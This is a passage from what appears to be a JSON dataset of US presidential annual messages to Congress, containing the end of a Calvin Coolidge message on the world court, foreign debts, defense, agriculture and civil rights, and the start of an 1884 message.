the\nquestion involved upon issues submitted for an advisory opinion does not\ndiffer materially from deciding the question involved upon issues submitted\nby contending parties. Up to the present time the court has given an\nadvisory opinion when it judged it had jurisdiction, and refused to give\none when it judged it did not have jurisdiction. Nothing in the work of the\ncourt has yet been an indication that this is an impairment of its\nindependence or that its practice differs materially from the giving of\nlike opinions under the authority of the constitutions of several of our\nStates.No provision of the statute seems to me to give this court any authority to\nbe a political rather than a judicial court. We have brought cases in this\ncountry before our courts which, when they have been adjudged to be\npolitical, have been thereby dismissed. It is not improbable that political\nquestions will be submitted to this court, but again up to the present time\nthe court has refused to pass on political questions and our support would\nundoubtedly have a tendency to strengthen it in that refusal.We are not proposing to subject ourselves to any compulsory jurisdiction.\nIf we support the court, we can never be obliged to submit any case which\ninvolves our interests for its decision. Our appearance before it would\nalways be voluntary, for the purpose of presenting a case which we had\nagreed might be presented. There is no more danger that others might bring\ncases before the court involving our interests which we did not wish to\nhave brought, after we have adhered, and probably not so much, than there\nwould be of bringing such cases if we do not adhere. I think that we would\nhave the same legal or moral right to disregard such a finding in the one\ncase that we would in the other.If we are going to support any court, it will not be one that we have set\nup alone or which reflects only our ideals. Other nations have their\ncustoms and their institutions, their thoughts and their methods of life.\nIf a court is going to be international, its composition will have to yield\nto what is good in all these various elements. Neither will it be possible\nto support a court which is exactly perfect, or under which we assume\nabsolutely no obligations. If we are seeking that opportunity, we might as\nwell declare that we are opposed to supporting any court. If any agreement\nis made, it will be because it undertakes to set up a tribunal which can do\nsome of the things that other nations wish to have done. We shall not find\nourselves bearing a disproportionate share of the world's burdens by our\nadherence, and we may as well remember that there is absolutely no escape\nfor our country from bearing its share of the world's burdens in any case.\nWe shall do far better service to ourselves and to others if we admit this\nand discharge our duties voluntarily, than if we deny it and are forced to\nmeet the same obligations unwillingly.It is difficult to imagine anything that would be more helpful to the world\nthan stability, tranquility and international justice. We may say that we\nare contributing to these factors independently, but others less\nfortunately located do not and can not make a like contribution except\nthrough mutual cooperation. The old balance of power, mutual alliances, and\ngreat military forces were not brought bout by any mutual dislike for\nindependence, but resulted from the domination of circumstances. Ultimately\nthey were forced on us. Like all others engaged in the war whatever we said\nas a matter of fact we joined an alliance, we became a military power, we\nimpaired our independence. We have more at stake than any one else in\navoiding a repetition of that calamity. Wars do not, spring into existence.\nThey arise from small incidents and trifling irritations which can be\nadjusted by an international court. We can contribute greatly to the\nadvancement of our ideals by joining with other nations in maintaining such\na tribunal.FOREIGN DEBTSGradually, settlements have been made which provide for the liquidation of\ndebts due to our Government from foreign governments. Those made with Great\nBritain, Finland, Hungary Lithuania, and Poland have already been approved\nby the Congress. Since the adjournment, further agreements have been\nentered into with Belgium, Czechoslovakia, Latvia, Estonia, Italy, and\nRumania. These 11 nations, which have already made settlements, represent\n$6,419,528,641 of the original principal of the loans. The principal sums\nwithout interest, still pending, are the debt of France, of $3,340,000,000;\nGreece, $15,000,000; Yugoslavia, $.51,000,000; Liberia, $26,000; Russia,\n$192,000,000, which those at present in control have undertaken, openly to\nrepudiate; Nicaragua, $84,000, which is being paid currently; and Austria,\n$24,000,000, on which by act of Congress a moratorium of 20 years has been\ngranted. The only remaining sum is $12,000,000, due from Armenia, which has\nnow ceased to exist as an independent nation.In accordance with the settlements made, the amount of principal and\ninterest which is to be paid to the United States under these agreements\naggregate $15,200,688,253.93. It is obvious that the remaining settlements,\nwhich will undoubtedly be made, will bring this sum up to an amount which\nwill more than equal the principal due on our present national debt. While\nthese settlements are very large in the aggregate, it has been felt that\nthe terms granted were in all cases very generous. They impose no undue\nburden and are mutually beneficial in the observance of international faith\nand the improvement of international credit.Every reasonable effort will be made to secure agreements for liquidation\nwith the remaining countries, whenever they are in such condition that they\ncan be made. Those which have already been negotiated under the bipartisan\ncommission established by the Congress have been made only after the most\nthoroughgoing and painstaking investigation, continued for a long time\nbefore meeting with the representatives of the countries concerned. It is\nbelieved that they represent in each instance the best that can be done and\nthe wisest settlement that can be secured. One very important result is the\nstabilization of foreign currency, making exchange assist rather than\nembarrass our trade. Wherever sacrifices have been made of money, it will\nbe more than amply returned in better understanding and friendship, while\nin so far as these adjustments will contribute to the financial stability\nof the debtor countries, to their good order, prosperity, and progress,\nthey represent hope of improved trade relations and mutual contributions to\nthe civilization of the world.ALIEN PROBLEMNegotiations are progressing among the interested parties in relation to\nthe final distribution of the assets in the hands of the Alien Property\nCustodian. Our Government and people are interested as creditors; the\nGerman Government and people are interested as debtors and owners of the\nseized property. Pending the outcome of these negotiations, I do not\nrecommend any affirmative legislation. For the present we should continue\nin possession of this property which we hold as security for the settlement\nof claims due to our people and our Government.IMMIGRATIONWhile not enough time has elapsed to afford a conclusive demonstration,\nsuch results as have been secured indicate that our immigration law is on\nthe whole beneficial. It is undoubtedly a protection to the wage earners of\nthis country. The situation should however, be carefully surveyed, in order\nto ascertain whether it is working a needless hardship upon our own\ninhabitants. If it deprives them of the comfort and society of those bound\nto them by close family ties, such modifications should be adopted as will\nafford relief, always in accordance with the principle that our Government\nowes its first duty to our own people and that no alien, inhabitant of\nanother country, has any legal rights whatever under our Constitution and\nlaws. It is only through treaty, or through residence here that such rights\naccrue. But we should not, however, be forgetful of the obligations of a\ncommon humanity.While our country numbers among its best citizens many of those of foreign\nbirth, yet those who now enter in violation of our laws by that very act\nthereby place themselves in a class of undesirables. Investigation\nreveals that any considerable number are coming here in defiance of our\nimmigration restrictions, it will undoubtedly create the necessity for the\nregistration of all aliens. We ought to have no prejudice against an alien\nbecause he is an alien. The standard which we apply to our inhabitants is\nthat of manhood, not place of birth. Restrictive immigration is to a large\ndegree for economic purposes. It is applied in order that we may not have a\nlarger annual increment of good people within our borders than we can weave\ninto our economic fabric in such a way as to supply their needs without\nundue injury to ourselves.NATIONAL DEFENSENever before in time of peace has our country maintained so large and\neffective a military force as it now has. The Army, Navy, Marine Corps,\nNational Guard, and Organized Reserves represent a strength of about\n558,400 men. These forces are well trained, well equipped, and high in\nmorale.A sound selective service act giving broad authority for the mobilization\nin time of peril of all the resources of the country, both persons and\nmaterials, is needed to perfect our defense policy in accordance with our\nideals of equality. The provision for more suitable housing to be paid for\nout of funds derived from the sale of excess lands, pending before the last\nCongress, ought to be brought forward and passed. Reasonable replacements\nought to be made to maintain a sufficient ammunition reserve.The Navy has the full treaty tonnage of capital ships. Work is going\nforward in modernizing the older ones, building aircraft carriers,\nadditional fleet submarines, and fast scout cruisers, but we are carefully\navoiding anything that might be construed as a competition in armaments\nwith other nations. The joint Army and Navy maneuvers at Hawaii, followed\nby the cruise of a full Battle Fleet to Australia and New Zealand, were\nsuccessfully carried out. These demonstrations revealed a most satisfactory\ncondition of the ships and the men engaged.Last year at my suggestion the General Board of the Navy made an\ninvestigation and report on the relation of aircraft to warships. As a\nresult authorizations and appropriations were made for more scout cruisers\nand fleet submarines and for completing aircraft carriers and equipping\nthem with necessary planes. Additional training in aviation was begun at\nthe Military and Naval Academies. A method of coordination and cooperation\nof the Army and Navy and the principal aircraft builders is being\nperfected. At the suggestion of the Secretaries of War and Navy I appointed\na special board to make a further study of the problem of aircraft.The report of the Air Board ought to be reassuring to the country,\ngratifying to the service and satisfactory to the Congress. It is\nthoroughly complete and represents the mature thought of the best talent in\nthe country. No radical change in organization of the service seems\nnecessary. The Departments of War, Navy, and Commerce should each be\nprovided with an additional assistant secretary, not necessarily with\nstatutory duties but who would be available under the direction of the\nSecretary to give especial attention to air navigation. We must have an air\nstrength worthy of America. Provision should be made for two additional\nbrigadier generals for the Army Air Service. Temporary rank corresponding\nto their duties should be awarded to active flying officers in both Army\nand Navy.Aviation is of great importance both for national defense and commercial\ndevelopment. We ought to proceed in its improvement by the necessary\nexperiment and investigation. Our country is not behind in this art. It has\nmade records for speed and for the excellence of its planes. It ought to go\non maintaining its manufacturing plants capable of rapid production, giving\nnational assistance to the la in out of airways, equipping itself with a\nmoderate number of planes and keeping an air force trained to the highest\nefficiency.While I am a thorough believer in national defense and entirely committed\nto the policy of adequate preparation, I am just as thoroughly opposed to\ninstigating or participating in a policy of competitive armaments. Nor does\npreparation mean a policy of militarizing. Our people and industries are\nsolicitous for the cause of 0111, country, and have great respect for the\nArmy and Navy and foil the uniform worn by the men who stand ready at all\ntimes for our protection to encounter the dangers and perils necessary to\nmilitary service, but all of these activities are to be taken not in behalf\nof aggression but in behalf of peace. They are the instruments by which we\nundertake to do our part to promote good will and support stability among\nall peoples.VETERANSIf any one desires to estimate the esteem in which the veterans of America\nare held by their fellow citizens, it is but necessary to remember that the\ncurrent budget calls for an expenditure of about $650,000.000 in their\nbehalf. This is nearly the amount of the total cost of the National\nGovernment, exclusive of the post office, before we entered the last war.At the two previous sessions of Congress legislation affecting veterans'\nrelief was enacted and the law liberalized. This legislation brought into\nbeing a number of new provisions tending more nearly to meet the needs of\nour veterans, as well as afford the necessary authority to perfect the\nadministration of these laws.Experience with the new legislation so far has clearly demonstrated its\nconstructive nature. It has increased the benefits received by many and has\nmade eligible for benefits many others. Direct disbursements to the veteran\nor his dependents exceeding $21,000,000 have resulted, which otherwise\nwould not have been made. The degree of utilization of our hospitals has\nincreased through making facilities available to the incapacitated veteran\nregardless of service origin of the disability. This new legislation also\nhas brought about a marked improvement of service to the veteran.The organizations of ex-service men have proposed additional legislative\nchanges which you will consider, but until the new law and the\nmodifications made at the last session of Congress are given a more\nthorough test further changes in the basic law should be few and made only\nafter careful though sympathetic consideration.The principal work now before the Veterans' Bureau is the perfection of its\norganization and further improvements in service. Some minor legislative\nchanges are deemed necessary to enable the bureau to retain that high grade\nof professional talent essential in handling the problems of the bureau.\nSuch changes as tend toward the improvement of service and the carrying\nforward to completion of the hospital construction program are recommended\nfor the consideration of the proper committees of Congress.With the enormous outlay that is now being made in behalf of the veterans\nand their dependents, with a tremendous war debt still requiring great\nannual expenditure, with the still high rate of taxation, while every\nprovision should be made for the relief of the disabled and the necessary\ncare of dependents, the Congress may well consider whether the financial\ncondition of the Government is not such that further bounty through the\nenlargement of general pensions and other emoluments ought not to be\npostponed.AGRICULTURENo doubt the position of agriculture as a whole has very much improved\nsince the depression of three and four years ago. But there are many\nlocalities and many groups of individuals, apparently through no fault of\ntheir own, sometimes due to climatic conditions and sometimes to the\nprevailing price of a certain crop, still in a distressing condition. This\nis probably temporary, but it is none the less acute. National Government\nagencies, the Departments of Agriculture and Commerce, the Farm Loan Board,\nthe intermediate credit banks, and the Federal Reserve Board are all\ncooperating to be of assistance and relief. On the other hand, there are\nlocalities and individuals who have had one of their most prosperous years.\nThe general price level is fair, but here again there are exceptions both\nways, some items being poor while others are excellent. In spite of a\nlessened production the farm income for this year will be about the same as\nlast year and much above the three preceding years.Agriculture is a very complex industry. It does not consist of one problem,\nbut of several. They can not be solved at one stroke. They have to be met\nin different ways, and small gains are not to be despised.It has appeared from all the investigations that I have been able to make\nthat the farmers as a whole are determined to maintain the independence of\ntheir business. They do not wish to have meddling on the part of the\nGovernment or to be placed under the inevitable restrictions involved in\nany system of direct or indirect price-fixing, which would result from\npermitting the Government to operate in the agricultural markets. They are\nshowing a very commendable skill in organizing themselves to transact their\nown business through cooperative marketing, which will this year turn over\nabout $2,500,000,000, or nearly one-fifth of the total agricultural\nbusiness. In this they are receiving help from the Government. The\nDepartment of Agriculture should be strengthened in this facility, in order\nto be able to respond when these marketing associations want help. While\nit ought not to undertake undue regulation, it should be equipped to give\nprompt information on crop prospects, supply, demand, current receipts,\nimports, exports, and prices.A bill embodying these principles, which has been drafted under the advice\nand with the approval of substantially all the leaders and managers in the\ncooperative movement, will be presented to the Congress for its enactment.\nLegislation should also be considered to provide for leasing the\nunappropriated public domain for grazing purposes and adopting a uniform\npolicy relative to grazing on the public lands and in the national\nforests.A more intimate relation should be established between agriculture and the\nother business activities of the Nation. They are mutually dependent and\ncan each advance their own prosperity most by advancing the prosperity of\nthe other. Meantime the Government will continue those activities which\nhave resulted in an unprecedented amount of legislation and the pouring out\nof great sums of money during the last five years. The work for good roads,\nbetter land and water transportation, increased support for agricultural\neducation, extension of credit facilities through the Farm Loan Boards and\nthe intermediate credit banks, the encouragement of orderly marketing and a\nrepression of wasteful speculation, will all be continued.Following every other depression, after a short period the price of farm\nproduce has taken and maintained the lead in the advance. This advance had\nreached a climax before the war. Everyone will recall the discussion that\nwent on for four or five years prior to 1914 concerning the high cost of\nliving. This history is apparently beginning to repeat itself. While\nwholesale prices of other commodities have been declining, farm prices have\nbeen increasing. There is every reason to suppose that a new era in\nagricultural prosperity lies just before us, which will probably be\nunprecedented.MUSCLE SHOALSThe problem of Muscle Shoals seems to me to have assumed a place all out of\nproportion with its real importance. It probably does not represent in\nmarket value much more than a first-class battleship, yet it has been\ndiscussed in the Congress over a period of years and for months at a time.\nIt ought to be developed for the production of nitrates primarily, and\nincidentally for power purposes. This would serve defensive, agricultural,\nand industrial purposes. I am in favor of disposing of this property to\nmeet these purposes. The findings of the special commission will be\ntransmitted to the Congress for their information. I am convinced that the\nbest possible disposition can be made by direct authorization of the\nCongress. As a means of negotiation I recommend the immediate appointment\nof a small joint special committee chosen from the appropriate general\nstanding committees of the House and Senate to receive bids, which when\nmade should be reported with recommendations as to acceptance, upon which a\nlaw should be enacted, effecting a sale to the highest bidder who will\nagree to carry out these purposes.If anything were needed to demonstrate the almost utter incapacity of the\nNational Government to deal directly with an industrial and commercial\nproblem, it has been provided by our experience with this property. We have\nexpended vast fortunes, we have taxed everybody, but we are unable to\nsecure results, which benefit anybody. This property ought, to be\ntransferred to private management under conditions which will dedicate it\nto the public purpose for which it was conceived.RECLAMATIONThe National Government is committed to a policy of reclamation and\nirrigation which it desires to establish on a sound basis and continue in\nthe interest of the localities concerned. Exhaustive studies have recently\nbeen made of Federal reclamation, which have resulted in improving the\nprojects and adjusting many difficulties. About one third of the projects\nis in good financial condition, another third can probably be made\nprofitable, while the other third is under unfavorable conditions. The\nCongress has already provided for a survey which will soon be embodied in a\nreport. That ought to suggest a method of relief which will make\nunnecessary further appeals to the Congress. Unless this can be done,\nFederal reclamation will be considerably retarded. With the greatly\nincreased cost of construction and operation, it has become necessary to\nplan in advance, by community organization and selective agriculture,\nmethods sufficient to repay these increasing outlays.The human and economic interests of the farmer citizens suggest that the\nStates should be required to exert some effort and assume some\nresponsibility, especially in the intimate, detailed, and difficult work of\nsecuring settlers and developing farms which directly profit them, but only\nindirectly and remotely can reimburse the Nation. It is believed that the\nFederal Government should continue to be the agency for planning and\nconstructing the great undertakings needed to regulate and bring into use\nthe rivers the West, many of which are interstate in character, but the\ndetailed work of creating agricultural communities and a rural civilization\non the land made ready for reclamation ought to be either transferred to\nthe State in its entirety or made a cooperative effort of the State and\nFederal Government.SHIPPINGThe maintenance of a merchant marine is of the utmost importance for\nnational defense and the service of our commerce. We have a large number of\nships engaged in that service. We also have a surplus supply, costly to\ncare for, which ought to be sold. All the investigations that have been\nmade under my direction, and those which have been prosecuted\nindependently, have reached the conclusion that the fleet should be under\nthe direct control of a single executive head, while the Shipping Board\nshould exercise its judicial and regulatory functions in Accordance with\nits original conception. The report of Henry G. Dalton, a business man of\nbroad experience, with a knowledge of shipping, made to me after careful\ninvestigation, will be transmitted for the information of the Congress, the\nstudies pursued under the direction of the United States Chamber of\nCommerce will also be accessible, and added to these will be the report of\nthe special committee of the House.I do not advocate the elimination of regional considerations, but it has\nbecome apparent that without centralized executive action the management of\nthis great business, like the management of any other great business, will\nflounder in incapacity and languish under a division of council. A plain\nand unmistakable reassertion of this principle of unified control, which I\nhave always been advised was the intention of the Congress to apply, is\nnecessary to increase the efficiency of our merchant fleet.COALThe perennial conflict in the coal industry is still going on to the great\ndetriment of the wage earners, the owners, and especially to the public.\nWith deposits of coal in this country capable of supplying its needs for\nhundreds of years, inability to manage and control this great resource for\nthe benefit of all concerned is very close to a national economic failure.\nIt has been the subject of repeated investigation and reiterated\nrecommendation. Yet the industry seems never to have accepted modern\nmethods of adjusting differences between employers and employees. The\nindustry could serve the public much better and become subject to a much\nmore effective method of control if regional consolidations and more\nfreedom in the formation of marketing associations, under the supervision\nof the Department of Commerce, were permitted.At the present time the National Government has little or no authority to\ndeal with this vital necessity of the life of the country. It has permitted\nitself to remain so powerless that its only attitude must be humble\nsupplication. Authority should be lodged with the President and the\nDepartments of Commerce and Labor, giving them power to deal with an\nemergency. They should be able to appoint temporary boards with authority\nto call for witnesses and documents, conciliate differences, encourage\narbitration, and in case of threatened scarcity exercise control over\ndistribution. Making the facts public under these circumstances through a\nstatement from an authoritative source would be of great public benefit.\nThe report of the last coal commission should be brought forward,\nreconsidered, and acted upon.PROHIBITIONUnder the orderly processes of our fundamental institutions the\nConstitution was lately amended providing for national prohibition. The\nCongress passed an act for its enforcement, and similar acts have been\nprovided by most of the States. It is the law of the land. It is the duty\nof all who come under its, jurisdiction to observe the spirit of that law,\nand it is the duty of the Department of Justice and the Treasury Department\nto enforce it. Action to prevent smuggling, illegal transportation in\ninterstate commerce, abuse in the use of permits, and existence of sources\nof supply for illegal traffic is almost entirely imposed upon the Federal\nGovernment.Through treaties with foreign governments and increased activities of the\nCoast Guard, revenue agents, district attorneys and enforcement agents\neffort is being made to prevent these violations. But the Constitution also\nputs a concurrent duty on the States. We need their active and energetic\ncooperation, the vigilant action of their police, and the jurisdiction of\ntheir courts to assist in enforcement. I request of the people observance,\nof the public officers continuing efforts for enforcement, and of the\nCongress favorable action on the budget recommendation for the prosecution\nof this work.WATERWAY DEVELOPMENTFor many years our country has been employed in plans and M for the\ndevelopment of our intracoastal and inland waterways. This work along our\ncoast is an important adjunct to our commerce. It will be carried on,\ntogether with the further opening up of our harbors, as our resources\npermit. The Government made an agreement during the war to take over the\nCape Cod Canal, under which the owners made valuable concessions. This\npledged faith of the Government ought to be redeemed.Two other main fields are under consideration. One is the Great Lakes and\nSt. Lawrence, including the Erie Canal. This includes stabilizing the lake\nlevel, and is both a waterway and power project. A joint commission of the\nUnited States and Canada is working on plans and surveys which will not be\ncompleted until next April. No final determination can be made, apparently,\nexcept under treaty as to the participation of both countries. The other is\nthe Mississippi River stem. This is almost entirely devoted to navigation.\nWork on the Ohio River will be completed in about three years. A modern\nchannel connecting Chicago, New Orleans, Kansas City, and Pittsburgh should\nbe laid out and work on the tributaries prosecuted. Some work is being done\nof a preparatory nature along the Missouri, and large expenditures are\nbeing made yearly in the lower reaches of the Mississippi and its\ntributaries which contribute both to flood control and navigation.\nPreliminary measures are being taken on the Colorado River project, which\nis exceedingly important for flood control, irrigation, power development,\nand water supply to the area concerned. It would seem to be very doubtful,\nhowever, whether it is practical to secure affirmative action of the\nCongress, except under a Joint agreement of the several States.The Government has already expended large sums upon scientific research and\nengineering investigation in promotion of this Colorado River project. The\nactual progress has been retarded for many years by differences among the\nseven States in the basin over their relative water rights and among\ndifferent groups as to methods. In an attempt to settle the primary\ndifficulty of the water rights, Congress authorized the Colorado River\nCommission which agreed on November 24, 1922, upon an interstate compact to\nsettle these rights, subject to the ratification of the State legislatures\nand Congress. All seven States except Arizona at one time ratified, the\nArizona Legislature making certain reservations which failed to meet the\napproval of the governor. Subsequently an attempt was made to establish the\ncompact upon a six-State basis, but in this case California imposed\nreservations. There appears to be no division of opinion upon the major\nprinciples of the compact, but difficulty in separating contentions to\nmethods of development from the discussion of it. It is imperative that\nflood control be undertaken for California and Arizona. preparation made\nfor irrigation, for power, and for domestic water.Some or all of these questions are combined in every proposed development.\nThe Federal Government is interested in some of these phases, State\ngovernments and municipalities and irrigation districts in others, and\nprivate corporations in still others. Because of all this difference of\nview it is most desirable that Congress should consider the creation of\nsome agency that will be able to determine methods of improvement solely\nupon economic and engineering facts, that would be authorized to negotiate\nand settle, subject to the approval of Congress, the participation, rights,\nand obligations of each group in any particular works. Only by some such\nmethod can early construction be secured.WATER POWERAlong with the development of navigation should go every possible\nencouragement for the development of our water power. While steam still\nplays a dominant part, this is more and more becoming an era of\nelectricity. Once installed, the cost is moderate, has not tended greatly\nto increase, and is entirely free from the unavoidable dirt and\ndisagreeable features attendant upon the burning of coal. Every facility\nshould be extended for the connection of the various units into a\nsuperpower plant, capable at all times of a current increasing uniformity\nover the entire system.RAILROADSThe railroads throughout the country are in a fair state of prosperity.\nTheir service is good and their supply of cars is abundant. Their condition\nwould be improved and the public better served by a system of\nconsolidations. I recommend that the Congress authorize such consolidations\ntinder the supervision of the Interstate Commerce Commission, with power to\napprove or disapprove when proposed parts are excluded or new parts added.\nI am informed that the railroad managers and their employees have reached a\nsubstantial agreement as to what legislation is necessary to regulate and\nimprove their relationship. Whenever they bring forward such proposals,\nwhich seem sufficient also to protect the interests of the public, they\nshould be enacted into law.It is gratifying to report that both the railroad managers and railroad\nemployees are providing boards for the mutual adjustment of differences in\nharmony with the principles of conference, conciliation, and arbitration.\nThe solution of their problems ought to be an example to all other\nindustries. Those who ask the protections of civilization should be ready\nto use the methods of civilization.A strike in modern industry has many of the aspects of war in the modern\nworld. It injures labor and it injures capital. If the industry involved is\na basic one, it reduces the necessary economic surplus and, increasing the\ncost of living, it injures the economic welfare and general comfort of the\nwhole people. It also involves a deeper cost. It tends to embitter and\ndivide the community into warring classes and thus weakens the unity and\npower of our national life.Labor can make no permanent gains at the cost of the general welfare. All\nthe victories won by organized labor in the past generation have been won\nthrough the support of public opinion. The manifest inclination of the\nmanagers and employees of the railroads to adopt a policy of action in\nharmony with these principles marks a new epoch in our industrial life.OUTLYING POSSESSIONSThe time has come for careful investigation of the expenditures and success\nof the laws by which we have undertaken to administer our outlying\npossessions. A very large amount of money is being expended for\nadministration in Alaska. It appears so far out of proportion to the number\nof inhabitants and the amount of production as to indicate cause for\nthorough investigation. Likewise consideration should be given to the\nexperience under the law which governs the Philippines. From such reports\nas reach me there are indications that more authority should be given to\nthe Governor General, so that he will not be so dependent upon the local\nlegislative body to render effective our efforts to set an example of the,\nsound administration and good government, which is so necessary for the\npreparation of the Philippine people for self-government under ultimate\nindependence. If they are to be trained in these arts, it is our duty to\nprovide for them the best that there is.RETIREMENT OF JUDGESThe act of March 3, 1911, ought to be amended so that the term of years of\nservice of judges of any court of the United States requisite for\nretirement with pay shall be computed to include not only continuous but\naggregate service.MOTHERS' AIDThe Government ought always to be alert on the side of the humanities. It\nOught to encourage provisions for economic justice for the defenseless. It\nought to extend its relief through its national and local agencies, as may\nbe appropriate in each case, to the suffering and the needy. It ought to be\ncharitable.Although more than 40 of our States have enacted measures in aid of\nmotherhood, the District of Columbia is still without such a law. A\ncarefully considered bill will be presented, which ought to have most\nthoughtful consideration in order that the Congress may adopt a measure\nwhich will be hereafter a model for all parts of the Union.CIVIL SERVICEIn 1883 the Congress passed the civil service act, which from a modest\nbeginning of 14,000 employees has grown until there are now 425,000 in the\nclassified service. This has removed the clerical force of the Nation from\nthe wasteful effects of the spoils system and made it more stable and\nefficient. The time has come to consider classifying all postmasters,\ncollectors of customs, collectors of internal revenue, and prohibition\nagents, by an act covering in those at present in office, except when\notherwise provided by Executive order.The necessary statistics are now being gathered to form the basis of a\nvaluation of the civil service retirement fund based on current conditions\nof the service. It is confidently expected that this valuation will be\ncompleted in time to be made available to the Congress during the present\nsession. It will afford definite knowledge of existing, and future\nliabilities under the present law and determination OF liabilities under\nany proposed change in the present law. We should have this information\nbefore creating further obligations for retirement annuities which will\nbecome liabilities to be met in the future from the money of the taxpayer.The classification act of 1923, with the subsequent legislative action\nproviding for adjustment of the compensation of field service positions,\nhas operated materially to improve employment conditions in the Federal\nservice. The administration of the act is in the hands of an impartial\nboard, functioning without the necessity of a direct appropriation. It\nwould be inadvisable at this time to place in other hands the\nadministration of this act.FEDERAL TRADE COMMISSIONThe proper function of the Federal Trade Commission is to supervise and\ncorrect those practices in commerce which are detrimental to fair\ncompetition. In this it performs a useful function and should be continued\nand supported. It was designed also to be a help to honest business. In my\nmessage to the Sixty-eighth Congress I recommended that changes in the\nprocedure then existing be made. Since then the commission by its own\naction has reformed its rules, giving greater speed and economy in the\ndisposal of its cases and full opportunity for those accused to be heard.\nThese changes are improvements and, if necessary, provision should be made\nfor their permanency.REORGANIZATIONNo final action has yet been taken on the measure providing for the\nreorganization of the various departments. I therefore suggest that this\nmeasure, which will be of great benefit to the efficient and economical\nadministration of the business of the Government, be brought forward and\npassed.THE NEGRONearly one-tenth of our population consists of the Negro race. The progress\nwhich they have made in all the arts of civilization in the last 60 years\nis almost beyond belief. Our country has no more loyal citizens. But they\ndo still need sympathy, kindness, and helpfulness. They need reassurance\nthat the requirements of the Government and society to deal out to them\neven-handed justice will be met. They should be protected from all violence\nand supported in the peaceable enjoyment of the fruits of their labor.\nThose who do violence to them should be punished for their crimes. No other\ncourse of action is worthy of the American people.Our country has many elements in its population, many different modes of\nthinking and living, all of which are striving in their own way to be loyal\nto the high ideals worthy of the crown of American citizenship. It is\nfundamental of our institutions that they seek to guarantee to all our\ninhabitants the right to live their own lives under the protection of the\npublic law. This does not include any license to injure others materially,\nphysically, morally, to Incite revolution, or to violate the established\ncustoms which have long had the sanction of enlightened society.But it does mean the full right to liberty and equality before the law\nwithout distinction of race or creed. This condition can not be granted to\nothers, or enjoyed by ourselves, except by the application of the principle\nof broadest tolerance. Bigotry is only another name for slavery. It reduces\nto serfdom not only those against whom it is directed, but also those who\nseek to apply it. An enlarged freedom can only be secured by the\napplication of the golden rule. No other utterance ever presented such a\npractical rule of life.CONCLUSIONIt is apparent that we are reaching into an era of great general\nprosperity. It will continue only so long as we shall use it properly.\nAfter all, there is but a fixed quantity of wealth in this country at any\nfixed time. The only way that we can all secure more of it is to create\nmore. The element of time enters into production, If the people have\nsufficient moderation and contentment to be willing to improve their\ncondition by the process of enlarging production, eliminating waste, and\ndistributing equitably, a prosperity almost without limit lies before its.\nIf the people are to be dominated by selfishness, seeking immediate riches\nby nonproductive speculation and by wasteful quarreling over the returns\nfrom industry, they will be confronted by the inevitable results of\ndepression and privation. If they will continue industrious and thrifty,\ncontented with fair wages and moderate profits, and the returns which\naccrue from the development of oar natural resources, our prosperity will\nextend itself indefinitely.In all your deliberations you should remember that the purpose of\nlegislation is to translate principles into action. It is an effort to have\nour country be better by doing better. Because the thoughts and ways of\npeople are firmly fixed and not easily changed, the field within which\nimmediate improvement can be secured is very narrow. Legislation can\nprovide opportunity. Whether it is taken advantage of or not depends upon\nthe people themselves. The Government of the United States has been created\nby the people. It is solely responsible to them. It will be most successful\nif it is conducted solely for their benefit. All its efforts would be of\nlittle avail unless they brought more justice, more enlightenment, more\nhappiness and prosperity into the home. This means an opportunity to\nobserve religion, secure education, and earn a living under a reign of law\nand order. It is the growth and improvement of the material and spiritual\nlife of the Nation. We shall not be able to gain these ends merely by our\nown action. If they come at all, it will be because we have been willing to\nwork in harmony with the abiding purpose of a Divine Providence.", 
+    "name": "Calvin Coolidge"
+}
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+{
+    "date": "December 1, 1884", 
+    "speech": "To the Congress of the United States:Since the close of your last session the American people, in the exercise\nof their highest right of suffrage, have chosen their Chief Magistrate for\nthe four years ensuing.When it is remembered that at no period in the country's history has the\nlong political contest which customarily precedes the day of the national\nelection been waged with greater fervor and intensity, it is a subject of\ngeneral congratulation that after the controversy at the polls was over,\nand while the slight preponderance by which the issue had been determined\nwas as yet unascertained, the public peace suffered no disturbance, but the\npeople everywhere patiently and quietly awaited the result.Nothing could more strikingly illustrate the temper of the American\ncitizen, his love of order, and his loyalty to law. Nothing could more\nsignally demonstrate the strength and wisdom of our political\ninstitutions.Eight years have passed since a controversy concerning the result of a\nnational election sharply called the attention of the Congress to the\nnecessity of providing more precise and definite regulations for counting\nthe electoral vote.It is of the gravest importance that this question be solved before\nconflicting claims to the Presidency shall again distract the country, and\nI am persuaded that by the people at large any of the measures of relief\nthus far proposed would be preferred to continued inaction.Our relations with all foreign powers continue to be amicable.With Belgium a convention has been signed whereby the scope of present\ntreaties has been so enlarged as to secure to citizens of either country\nwithin the jurisdiction of the other equal rights and privileges in the\nacquisition and alienation of property. A trade-marks treaty has also been\nconcluded.The war between Chile and Peru is at an end. For the arbitration of the\nclaims of American citizens who during its continuance suffered through the\nacts of the Chilean authorities a convention will soon be negotiated.The state of hostilities between France and China continues to be an\nembarrassing feature of our Eastern relations. The Chinese Government has\npromptly adjusted and paid the claims of American citizens whose property\nwas destroyed in the recent riots at Canton. I renew the recommendation of\nmy last annual message, that the Canton indemnity fund be returned to\nChina.The true interpretation of the recent treaty with that country permitting\nthe restriction of Chinese immigration is likely to be again the subject of\nyour deliberations. It may be seriously questioned whether the statute\npassed at the last session does not violate the treaty rights of certain\nChinese who left this country with return certificates valid under the old\nlaw, and who now seem to be debarred from relanding for lack of the\ncertificates required by the new.The recent purchase by citizens of the United States of a large trading\nfleet heretofore under the Chinese flag has considerably enhanced our\ncommercial importance in the East. In view of the large number of vessels\nbuilt or purchased by American citizens in other countries and exclusively\nemployed in legitimate traffic between foreign ports under the recognized\nprotection of our flag, it might be well to provide a uniform rule for\ntheir registration and documentation, so that the bona fide property rights\nof our citizens therein shall be duly evidenced and properly guarded.Pursuant to the advice of the Senate at the last session, I recognized the\nflag of the International Association of the Kongo as that of a friendly\ngovernment, avoiding in so doing any prejudgment of conflicting territorial\nclaims in that region. Subsequently, in execution of the expressed wish of\nthe Congress, I appointed a commercial agent for the Kongo basin.The importance of the rich prospective trade of the Kongo Valley has led to\nthe general conviction that it should be open to all nations upon equal\nterms. At an international conference for the consideration of this subject\ncalled by the Emperor of Germany, and now in session at Berlin, delegates\nare in attendance on behalf of the United States. Of the results of the\nconference you will be duly advised.The Government of Korea has generously aided the efforts of the United\nStates minister to secure suitable premises for the use of the legation. As\nthe conditions of diplomatic intercourse with Eastern nations demand that\nthe legation premises be owned by the represented power, I advise that an\nappropriation be made for the acquisition of this property by the\nGovernment. The United States already possess valuable premises at Tangier\nas a gift from the Sultan of Morocco. As is stated hereafter, they have\nlately received a similar gift from the Siamese 